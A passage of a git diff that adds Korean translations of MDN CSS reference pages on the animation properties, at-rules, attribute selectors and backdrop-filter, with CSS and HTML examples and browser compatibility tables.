alternate-reverse
+
애니메이션은 매 사이클마다 각 주기의 방향을 뒤집으며, 첫 번째 반복은 역방향으로 진행됩니다. 사이클이 짝수인지 홀수인지를 결정하는 카운트가 하나에서 시작됩니다.
+
+ +
+

노트: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 {{cssxref ( "animation-name")}} 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 여러 애니메이션 속성 값 설정을 참조하십시오.

+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

예제(Examples)

+ +

CSS animations를 보십시오.

+ +

명세(Specifications)

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations', '#animation-direction', 'animation-direction')}}{{Spec2('CSS3 Animations')}}Initial definition.
+ +

브라우저 호환성(Browser compatibility)

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}
{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}[1]
1012{{property_prefix("-o")}}
+ 12.50
4.0{{property_prefix("-webkit")}}
reverse19{{CompatVersionUnknown}}{{CompatGeckoDesktop("16.0")}}10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
alternate-reverse19{{CompatVersionUnknown}}{{CompatGeckoDesktop("16.0")}}10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoMobile("16.0")}}[1]
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}
reverse{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("16.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
alternate-reverse{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("16.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+
+ +

[1] Gecko 44.0 {{geckoRelease("44.0")}}은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두사가 붙은 속성 버전에 대한 지원을 추가했으며, 기본값은 false입니다. Gecko 49.0 {{geckoRelease("49.0")}} 이후 기본 설정은 true로 기본 설정됩니다.

+ +

같이 보기(See also)

+ + diff --git a/files/ko/web/css/animation-duration/index.html b/files/ko/web/css/animation-duration/index.html new file mode 100644 index 0000000000..83e46427df --- /dev/null +++ b/files/ko/web/css/animation-duration/index.html @@ -0,0 +1,140 @@ +--- +title: animation-duration +slug: Web/CSS/animation-duration +tags: + - CSS 애니메이션 +translation_of: Web/CSS/animation-duration +--- +
{{CSSRef}} {{SeeCompatTable}}
+ +

animation-duration CSS 속성은 애니메이션이 한 사이클을 완료하는 데 걸리는 시간을 지정합니다.

+ +
/* Single animation */
+animation-duration: 6s;
+animation-duration: 120ms;
+
+/* Multiple animations */
+animation-duration: 1.64s, 15.22s;
+animation-duration: 10s, 35s, 230ms;
+
+ +

축약 속성 {{ cssxref("animation") }}를 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.

+ +

{{cssinfo}}

+ +

문법(Syntax)

+ +

Values

+ +
+
{{cssxref("<time>")}}
+
애니메이션이 한 사이클을 완료하는 데 걸리는 지속 시간입니다. 이것은 초(s) 또는 밀리 초 (ms)로 지정 될 수 있습니다. 값은 양수 또는 0이어야하며 단위는 필수입니다. 기본값인 0의 값은 애니메이션이 작동하지 않아야 함을 나타냅니다.
+
+ +
+

Note: 음수 값은 유효하지 않으므로 선언이 무시됩니다. 접두사가 붙은 구현은 그것들을 0과 동일하게 간주 할 수 있습니다.

+
+ +
+

Note: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 {{cssxref ( "animation-name")}} 속성에 지정된 애니메이션에 얼마나 많은 값이 있는지에 따라 다른 방식으로 지정됩니다. 자세한 내용은 Setting multiple animation property values를 참조하십시오.

+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

예제(Examples)

+ +

CSS 애니메이션 예제를 참조하십시오. 

+ +

명세(Specifications)

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#animation-duration', 'animation-duration') }}{{ Spec2('CSS3 Animations') }}Initial definition.
+ +

브라우저 호환성(Browser compatibility)

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support3.0{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}
{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}[1]
1012{{property_prefix("-o")}}
+ 12.10
4.0{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support2.0{{property_prefix("-webkit")}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}
+ {{ CompatGeckoMobile("16.0")}}[1]
{{CompatNo}}{{CompatNo}}4.2{{property_prefix("-webkit")}}{{CompatChrome(43.0)}}
+
+ +

[1] Gecko 44.0 {{geckoRelease("44.0")}}은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두어로 사용 된 속성 버전에 대한 지원을 추가하고 기본을 false로 설정합니다. Gecko 49.0 {{geckoRelease("49.0")}}이후 기본 설정은 true로 기본 설정됩니다.

+ +

같이 보기(See also)

+ + diff --git a/files/ko/web/css/animation-fill-mode/index.html b/files/ko/web/css/animation-fill-mode/index.html new file mode 100644 index 0000000000..f1920b92d2 --- /dev/null +++ b/files/ko/web/css/animation-fill-mode/index.html @@ -0,0 +1,241 @@ +--- +title: animation-fill-mode +slug: Web/CSS/animation-fill-mode +tags: + - CSS 속성 + - CSS 애니메이션 +translation_of: Web/CSS/animation-fill-mode +--- +
{{CSSRef}}
+ +

animation-fill-mode CSS 속성은 CSS 애니메이션이 실행 전과 후에 대상에 스타일을 적용하는 방법을 지정합니다.

+ +
/* Single animation */
+animation-fill-mode: none;
+animation-fill-mode: forwards;
+animation-fill-mode: backwards;
+animation-fill-mode: both;
+
+/* Multiple animations */
+animation-fill-mode: none, backwards;
+animation-fill-mode: both, forwards, none;
+
+ +

축약 속성 animation을 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.

+ +

{{cssinfo}}

+ +

문법(Syntax)

+ +

값(Values)

+ +
+
none
+
애니메이션은 실행되지 않을 때 대상에 스타일을 적용하지 않습니다. 요소는 대신 적용된 다른 CSS 규칙을 사용하여 표시됩니다. 이것은 기본값입니다.
+
forwards
+
대상은 실행 된 애니메이션의 마지막 keyframe에 의해 설정된 계산 된 값을 유지합니다. 마지막 키 프레임은 {{cssxref("animation-direction")}}및 {{cssxref("animation-iteration-count")}}의 값에 따라 다릅니다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
animation-directionanimation-iteration-countlast keyframe encountered
normaleven or odd100% or to
reverseeven or odd0% or from
alternateeven0% or from
alternateodd100% or to
alternate-reverseeven100% or to
alternate-reverseodd0% or from
+
+
backwards
+
애니메이션은 대상에 적용되는 즉시 첫 번째 관련 keyframe 에 정의 된 값을 적용하고  {{cssxref("animation-delay")}} 기간 동안 이 값을 유지합니다. 첫 번째 관련 키프레임은 {{cssxref("animation-direction")}}의 값에 따라 다릅니다. + + + + + + + + + + + + + + + + + +
animation-directionfirst relevant keyframe
normal or alternate0% or from
reverse or alternate-reverse100% or to
+
+
both
+
애니메이션은 앞뒤 양쪽 모두의 규칙을 따르므로 애니메이션 속성이 양방향으로 확장됩니다.
+
+ +
+

노트: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 animation-name 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 여러 애니메이션 속성 값 설정을 참조하십시오.

+
+ +

Formal syntax

+ +
{{csssyntax}}
+
+ +

예제(Examples)

+ +

다음 예제에서 animation-fill-mode의 효과를 볼 수 있습니다. 무한 시간 동안 실행되는 애니메이션의 경우 원래 상태 (기본값)로 되돌리기보다는 최종 상태로 유지하는 방법을 보여줍니다.

+ +

HTML

+ +
<p>회색 박스 위에 마우스를 올려보세요!</p>
+<div class="demo">
+  <div class="grows">이 글씨는 커집니다.</div>
+  <div class="growsandstays">이 글씨는 커지며, 커진 상태를 유지합니다.</div>
+</div>
+ +

CSS

+ +
.demo {
+  border-top: 100px solid #ccc;
+  height: 300px;
+}
+
+@keyframes grow {
+  0% { font-size: 0; }
+  100% { font-size: 40px; }
+}
+
+.demo:hover .grows {
+  animation-name: grow;
+  animation-duration: 3s;
+}
+
+.demo:hover .growsandstays {
+  animation-name: grow;
+  animation-duration: 3s;
+  animation-fill-mode: forwards;
+}
+ +

{{EmbedLiveSample('Example',700,300)}}

+ +

자세한 예제는 CSS animations를 보십시오.

+ +

명세(Specifications)

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations', '#animation-fill-mode', 'animation-fill-mode')}}{{Spec2('CSS3 Animations')}}Initial definition.
+ +

브라우저 호환성(Browser compatibility)

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}
{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}[1]
1012{{property_prefix("-o")}}
+ 12.10
4.0{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Gecko 44.0 {{geckoRelease("44.0")}} 은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두사가 붙은 속성 버전에 대한 지원을 추가했으며, 기본값은 false입니다. Gecko 49.0 {{geckoRelease("49.0")}} 이후 기본 설정은 true로 기본 설정됩니다.

+ +

같이 보기(See also)

+ + diff --git a/files/ko/web/css/animation/index.html b/files/ko/web/css/animation/index.html new file mode 100644 index 0000000000..0ae99bb71b --- /dev/null +++ b/files/ko/web/css/animation/index.html @@ -0,0 +1,349 @@ +--- +title: animation +slug: Web/CSS/animation +tags: + - CSS + - CSS Animations + - CSS Property + - Reference +translation_of: Web/CSS/animation +--- +
{{CSSRef}}
+ +

animation CSS 속성은 다수의 스타일을 전환하는 애니메이션을 적용합니다. {{cssxref("animation-name")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-timing-function")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-play-state")}}의 단축 속성입니다.

+ +
{{EmbedInteractiveExample("pages/css/animation.html")}}
+ + + +
/* @keyframes duration | timing-function | delay |
+iteration-count | direction | fill-mode | play-state | name */
+animation: 3s ease-in 1s 2 reverse both paused slidein;
+
+/* @keyframes duration | timing-function | delay | name */
+animation: 3s linear 1s slidein;
+
+/* @keyframes duration | name */
+animation: 3s slidein;
+
+ + + +

{{EmbedLiveSample("animation", "100%", 260, "", "", "example-outcome-frame")}}

+ +

애니메이션 가능한 속성을 확인해보세요. CSS 트랜지션에도 적용된다는 점을 참고하세요.

+ +

{{cssinfo}}

+ +

구문

+ +

The animation property is specified as one or more single animations, separated by commas.

+ +

Each individual animation is specified as:

+ +
    +
  • zero or one occurrences of the following values: +
      +
    • {{cssxref("<single-transition-timing-function>")}}
    • +
    • {{cssxref("animation", "<single-animation-iteration-count>", "#<single-animation-iteration-count>")}}
    • +
    • {{cssxref("animation", "<single-animation-direction>", "#<single-animation-direction>")}}
    • +
    • {{cssxref("animation", "<single-animation-fill-mode>", "#<single-animation-fill-mode>")}}
    • +
    • {{cssxref("animation", "<single-animation-play-state>", "#<single-animation-play-state>")}}
    • +
    +
  • +
  • an optional name for the animation, which may be none, a {{cssxref("<custom-ident>")}}, or a {{cssxref("<string>")}}
  • +
  • zero, one, or two {{cssxref("<time>")}} values
  • +
+ +

The order of values within each animation definition is important: the first value that can be parsed as a {{cssxref("<time>")}} is assigned to the {{cssxref("animation-duration")}}, and the second one is assigned to {{cssxref("animation-delay")}}.

+ +

The order within each animation definition is also important for distinguishing {{cssxref("animation-name")}} values from other keywords. When parsed, keywords that are valid for properties other than {{cssxref("animation-name")}}, and whose values were not found earlier in the shorthand, must be accepted for those properties rather than for {{cssxref("animation-name")}}. Furthermore, when serialized, default values of other properties must be output in at least the cases necessary to distinguish an {{cssxref("animation-name")}} that could be a value of another property, and may be output in additional cases.

+ +

+ +
+
<single-animation-iteration-count>
+
The number of times the animation is played. The value must be one of those available in {{cssxref("animation-iteration-count")}}.
+
<single-animation-direction>
+
The direction in which the animation is played. The value must be one of those available in {{cssxref("animation-direction")}}.
+
<single-animation-fill-mode>
+
Determines how styles should be applied to the animation's target before and after its execution. The value must be one of those available in {{cssxref("animation-fill-mode")}}.
+
<single-animation-play-state>
+
Determines whether the animation is playing or not. The value must be one of those available in {{cssxref("animation-play-state")}}.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

Cylon Eye

+ +
<div class="view_port">
+  <div class="polling_message">
+    Listening for dispatches
+  </div>
+  <div class="cylon_eye"></div>
+</div>
+
+ +
.polling_message {
+  color: white;
+  float: left;
+  margin-right: 2%;
+}
+
+.view_port {
+  background-color: black;
+  height: 25px;
+  width: 100%;
+  overflow: hidden;
+}
+
+.cylon_eye {
+  background-color: red;
+  background-image: linear-gradient(to right,
+      rgba(0, 0, 0, .9) 25%,
+      rgba(0, 0, 0, .1) 50%,
+      rgba(0, 0, 0, .9) 75%);
+  color: white;
+  height: 100%;
+  width: 20%;
+
+  -webkit-animation: 4s linear 0s infinite alternate move_eye;
+          animation: 4s linear 0s infinite alternate move_eye;
+}
+
+@-webkit-keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; }  }
+        @keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; }  }
+
+ +

{{EmbedLiveSample('Cylon_Eye')}}

+ +

See Using CSS animations for additional examples.

+ +

접근성 고려사항

+ +

Blinking and flashing animation can be problematic for people with cognitive concerns such as Attention Deficit Hyperactivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity.

+ +

Consider providing a mechanism for pausing or disabling animation, as well as using the Reduced Motion Media Query to create a complimentary experience for users who have expressed a preference for no animated experiences.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations', '#animation', 'animation')}}{{Spec2('CSS3 Animations')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.animation")}}

+ +

Quantum CSS notes

+ +
    +
  • Gecko has a bug whereby when you animate an offscreen element onscreen but specify a delay, Gecko does not repaint on some platforms, e.g. Windows ({{bug(1383239)}}). This has been fixed in Firefox's new parallel CSS engine (also known as Quantum CSS or Stylo, planned for release in Firefox 57).
  • +
  • Another Gecko bug means that {{htmlelement("details")}} elements can't be made open by default using the open attribute if they have an animation active on them ({{bug(1382124)}}). Quantum CSS fixes this.
  • +
  • A further bug means that animations using em units are not affected by changes to the {{cssxref("font-size")}} on the animated element's parent, whereas they should be ({{bug(1254424)}}). Quantum CSS fixes this.
  • +
+ +

같이 보기

+ + diff --git a/files/ko/web/css/at-rule/index.html b/files/ko/web/css/at-rule/index.html new file mode 100644 index 0000000000..2991e685b0 --- /dev/null +++ b/files/ko/web/css/at-rule/index.html @@ -0,0 +1,76 @@ +--- +title: '@-규칙' +slug: Web/CSS/At-rule +tags: + - At-rule + - CSS + - CSS Reference +translation_of: Web/CSS/At-rule +--- +
{{cssref}}
+ +

@-규칙은 식별자(identifier)가 뒤따르는 at 기호('@' (U+0040 COMMERCIAL AT))로 시작하는 CSS 문이며 다음 세미콜론(';' (U+003B SEMICOLON)) 또는 다음 CSS 블록 중 먼저 오는 쪽까지 모든 것을 포함합니다.

+ +
/* General structure */
+@IDENTIFIER (RULE);
+
+/* Example: tells browser to use UTF-8 character set */
+@charset "utf-8";
+ +

다음과 같이 식별자가 지정된 각각 다른 구문인 여러 at-규칙이 있습니다:

+ +
    +
  • {{cssxref("@charset")}} — 스타일 시트에 의해 사용되는 문자 집합을 정의함.
  • +
  • {{cssxref("@import")}} — CSS 엔진에게 외부 스타일 시트를 포함하도록 알림.
  • +
  • {{cssxref("@namespace")}} — CSS 엔진에게 모든 콘텐츠가 XML 네임스페이스로 시작하(prefix가 붙)는 것이 고려되어야 함을 알림.
  • +
  • 중첩 @-규칙 — 중첩 문의 부분 집합으로, 조건부 그룹 규칙 속뿐만 아니라 스타일 시트의 문으로 사용될 수 있습니다: +
      +
    • {{cssxref("@media")}} — 장치가 미디어 질의(media query)를 사용하여 정의된 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙.
    • +
    • {{cssxref("@supports")}} — 브라우저가 주어진 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙.
    • +
    • {{cssxref("@document")}} {{experimental_inline}} — 스타일 시트가 적용되는 문서가 주어진 조건의 기준을 만족하면 해당 콘텐츠를 적용하는 조건부 그룹 규칙. (CSS Spec 레벨 4로 연기됨)
    • +
    • {{cssxref("@page")}} — 문서를 출력할 때 적용되는 레이아웃 변화의 양상(aspect)을 설명.
    • +
    • {{cssxref("@font-face")}} — 다운로드되는 외부 글꼴의 양상을 설명.
    • +
    • {{cssxref("@keyframes")}} — CSS 애니메이션 sequence 내 중간 단계의 양상을 설명.
    • +
    • {{cssxref("@viewport")}} {{experimental_inline}} — 작은 화면 장치를 위한 viewport의 양상을 설명. (현재 Working Draft 단계임)
    • +
    • {{cssxref("@counter-style")}} — 미리 정의된 스타일 집합의 일부가 아닌 특정 카운터 스타일을 정의. (Candidate Recommendation 단계이지만, 작성 중인 현재 Gecko에서만 구현됨)
    • +
    • {{cssxref("@font-feature-values")}} (@swash, @ornaments, @annotation, @stylistic, @styleset@character-variant와 함께)
      + — OpenType에서 다르게 활성화된 기능에 대해 {{cssxref("font-variant-alternates")}}에서 일반 이름을 정의. (Candidate Recommendation 단계이지만, 작성 중인 현재 Gekko에서만 구현됨)
    • +
    +
  • +
+ +

조건부 그룹 규칙

+ +

속성값과 마찬가지로, 각각의 @-규칙은 다른 구문이 있습니다. 그럼에도 불구하고, 그 중 몇몇은 조건부 그룹 규칙(conditional group rules)으로 불리는 특별한 범주로 분류될 수 있습니다. 이들 문은 공통 구문을 공유하고 그 각각은 중첩 문(규칙 집합(ruleset) 또는 중첩 @-규칙 중 하나)을 포함할 수 있습니다. 게다가, 그들은 모두 일반 semantic 의미를 전달합니다. 그들은 모두 어떤 유형의 조건을 링크합니다, 언제라도 또는 거짓 중 하나로 평가하는. 조건을 으로 평가하면, 그룹 내 모든 문이 적용됩니다.

+ +

조건부 그룹 규칙은 CSS 조건부 규칙 모듈 레벨 3에서 정의되고 다음과 같습니다:

+ +
    +
  • {{cssxref("@media")}},
  • +
  • {{cssxref("@supports")}},
  • +
  • {{cssxref("@document")}}. (CSS Spec 레벨 4로 연기됨)
  • +
+ +

각 조건부 그룹은 또한 중첩 문을 포함할 수 있기에, 불특정한 양의 중첩이 있을 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}초기 정의
{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}{{Spec2('Compat')}}@-webkit-keyframes 표준화.
diff --git a/files/ko/web/css/attribute_selectors/index.html b/files/ko/web/css/attribute_selectors/index.html new file mode 100644 index 0000000000..4e9cecff26 --- /dev/null +++ b/files/ko/web/css/attribute_selectors/index.html @@ -0,0 +1,228 @@ +--- +title: 특성 선택자 +slug: Web/CSS/Attribute_selectors +tags: + - CSS + - Reference + - Selectors +translation_of: Web/CSS/Attribute_selectors +--- +
{{CSSRef("Selectors")}}
+ +

CSS 특성 선택자는 주어진 특성의 존재 여부나 그 값에 따라 요소를 선택합니다.

+ +
/* <a> elements with a title attribute */
+a[title] {
+  color: purple;
+}
+
+/* <a> elements with an href matching "https://example.org" */
+a[href="https://example.org"] {
+  color: green;
+}
+
+/* <a> elements with an href containing "example" */
+a[href*="example"] {
+  font-size: 2em;
+}
+
+/* <a> elements with an href ending ".org" */
+a[href$=".org"] {
+  font-style: italic;
+}
+
+/* <a> elements whose class attribute contains the word "logo" */
+a[class~="logo"] {
+  padding: 2px;
+}
+ +

구문

+ +
+
[attr]
+
attr이라는 이름의 특성을 가진 요소를 선택합니다.
+
[attr=value]
+
attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다.
+
[attr~=value]
+
attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다. attr 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있습니다.
+
[attr|=value]
+
attr이라는 특성값을 가지고 있으며, 그 특성값이 정확히 value이거나 value로 시작하면서 -(U+002D) 문자가 곧바로 뒤에 따라 붙으면 이 요소를 선택합니다. 보통 언어 서브코드(en-USko-KR 등)가 일치하는지 확인할 때 사용합니다.
+
[attr^=value]
+
attr이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.
+
[attr$=value]
+
attr이라는 특성값을 가지고 있으며, 접미사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.
+
[attr*=value]
+
attr이라는 특성값을 가지고 있으며, 값 안에 value라는 문자열이 적어도 하나 이상 존재한다면 이 요소를 선택합니다.
+
[attr operator value i]
+
괄호를 닫기 전에 i 혹은 I를 붙여주면 값의 대소문자를 구분하지 않습니다. (ASCII 범위 내에 존재하는 문자에 한해서 적용됩니다)
+
[attr operator value s] {{experimental_inline}}
+
괄호를 닫기 전에 s 혹은 S를 붙여주면 값의 대소문자를 구분합니다. (ASCII 범위 내에 존재하는 문자에 한해서 적용됩니다)
+
+ +

예제

+ +

링크

+ +

CSS

+ +
a {
+  color: blue;
+}
+
+/* Internal links, beginning with "#" */
+a[href^="#"] {
+  background-color: gold;
+}
+
+/* Links with "example" anywhere in the URL */
+a[href*="example"] {
+  background-color: silver;
+}
+
+/* Links with "insensitive" anywhere in the URL,
+   regardless of capitalization */
+a[href*="insensitive" i] {
+  color: cyan;
+}
+
+/* Links with "cAsE" anywhere in the URL,
+with matching capitalization */
+a[href*="cAsE" s] {
+  color: pink;
+}
+
+/* Links that end in ".org" */
+a[href$=".org"] {
+  color: red;
+}
+ +

HTML

+ +
<ul>
+  <li><a href="#internal">Internal link</a></li>
+  <li><a href="http://example.com">Example link</a></li>
+  <li><a href="#InSensitive">Insensitive internal link</a></li>
+  <li><a href="http://example.org">Example org link</a></li>
+</ul>
+ +

결과

+ +

{{EmbedLiveSample("링크")}}

+ +

언어

+ +

CSS

+ +
/* All divs with a `lang` attribute are bold. */
+div[lang] {
+  font-weight: bold;
+}
+
+/* All divs in US English are blue. */
+div[lang~="en-us"] {
+  color: blue;
+}
+
+/* All divs in Portuguese are green. */
+div[lang="pt"] {
+  color: green;
+}
+
+/* All divs in Chinese are red, whether
+   simplified (zh-CN) or traditional (zh-TW). */
+div[lang|="zh"] {
+  color: red;
+}
+
+/* All divs with a Traditional Chinese
+   `data-lang` are purple. */
+/* Note: You could also use hyphenated attributes
+   without double quotes */
+div[data-lang="zh-TW"] {
+  color: purple;
+}
+ +

HTML

+ +
<div lang="en-us en-gb en-au en-nz">Hello World!</div>
+<div lang="pt">Olá Mundo!</div>
+<div lang="zh-CN">世界您好!</div>
+<div lang="zh-TW">世界您好!</div>
+<div data-lang="zh-TW">世界您好!</div>
+ +

결과

+ +

{{EmbedLiveSample("언어")}}

+ +

HTML 정렬 목록

+ +

{{htmlattrxref("type", "input")}} 특성은 주로 {{htmlelement("input")}} 요소에 사용하므로, HTML 명세는 type의 대소문자를 구분하지 않고 선택하도록 요구하고 있습니다. 그러므로 {{htmlelement("ol")}}의 {{htmlattrxref("type", "ol")}}을 특성 선택자로 선택할 땐 {{anch("case-sensitive", "대소문자 구분")}} 수정자를 지정하지 않으면 동작하지 않습니다.

+ +

CSS

+ +
/* List types require the case sensitive flag due to a quirk in how HTML treats the type attribute. */
+ol[type="a"] {
+  list-style-type: lower-alpha;
+  background: red;
+}
+
+ol[type="a" s] {
+  list-style-type: lower-alpha;
+  background: lime;
+}
+
+ol[type="A" s] {
+  list-style-type: upper-alpha;
+  background: lime;
+}
+ +

HTML

+ +
<ol type="A">
+  <li>Example list</li>
+</ol>
+ +

결과

+ +

{{EmbedLiveSample("HTML_정렬_목록")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS4 Selectors', '#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS4 Selectors')}}특성값 내에 존재하는 ASCII 문자의 대소문자를 구분하지 않는 수식자(modifier)를 추가하였습니다.
{{SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS3 Selectors')}}
{{SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS2.1')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.attribute")}}

+ +

같이 보기

+ +
    +
  • CSS {{cssxref("attr")}} 함수
  • +
diff --git a/files/ko/web/css/backdrop-filter/index.html b/files/ko/web/css/backdrop-filter/index.html new file mode 100644 index 0000000000..62921e2fcc --- /dev/null +++ b/files/ko/web/css/backdrop-filter/index.html @@ -0,0 +1,146 @@ +--- +title: backdrop-filter +slug: Web/CSS/backdrop-filter +tags: + - CSS + - CSS Property + - Graphics + - Layout + - Reference + - SVG + - SVG Filter + - Web + - 'recipe:css-property' +translation_of: Web/CSS/backdrop-filter +--- +
{{CSSRef}}
+ +

CSS backdrop-filter는 요소 뒤 영역에 흐림이나 색상 시프트 등 그래픽 효과를 적용할 수 있는 속성입니다. 요소 "뒤"에 적용하기 때문에, 효과를 확인하려면 요소나 요소의 배경을 적어도 반투명하게는 설정해야 합니다.

+ +
/* 키워드 값 */
+backdrop-filter: none;
+
+/* SVG 필터를 가리키는 URL */
+backdrop-filter: url(commonfilters.svg#filter);
+
+/* <filter-function> 값 */
+backdrop-filter: blur(2px);
+backdrop-filter: brightness(60%);
+backdrop-filter: contrast(40%);
+backdrop-filter: drop-shadow(4px 4px 10px blue);
+backdrop-filter: grayscale(30%);
+backdrop-filter: hue-rotate(120deg);
+backdrop-filter: invert(70%);
+backdrop-filter: opacity(20%);
+backdrop-filter: sepia(90%);
+backdrop-filter: saturate(80%);
+
+/* 다중 필터 */
+backdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%);
+
+/* 전역 값 */
+backdrop-filter: inherit;
+backdrop-filter: initial;
+backdrop-filter: unset;
+
+ +

구문

+ +

+ +
+
none
+
뒤에 아무런 필터도 적용하지 않습니다.
+
<filter-function-list>
+
뒤에 적용할 {{cssxref("<filter-function>")}} 또는 SVG필터의 공백 구분 목록입니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

CSS

+ +
.box {
+  background-color: rgba(255, 255, 255, 0.3);
+  border-radius: 5px;
+  font-family: sans-serif;
+  text-align: center;
+  line-height: 1;
+ -webkit-backdrop-filter: blur(10px);
+  backdrop-filter: blur(10px);
+  max-width: 50%;
+  max-height: 50%;
+  padding: 20px 40px;
+}
+
+html,
+body {
+  height: 100%;
+  width: 100%;
+}
+
+body {
+  background-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172));
+  background-position: center center;
+  background-repeat: no-repeat;
+  background-size: cover;
+}
+
+.container {
+  align-items: center;
+  display: flex;
+  justify-content: center;
+  height: 100%;
+  width: 100%;
+}
+ +

HTML

+ +
<div class="container">
+  <div class="box">
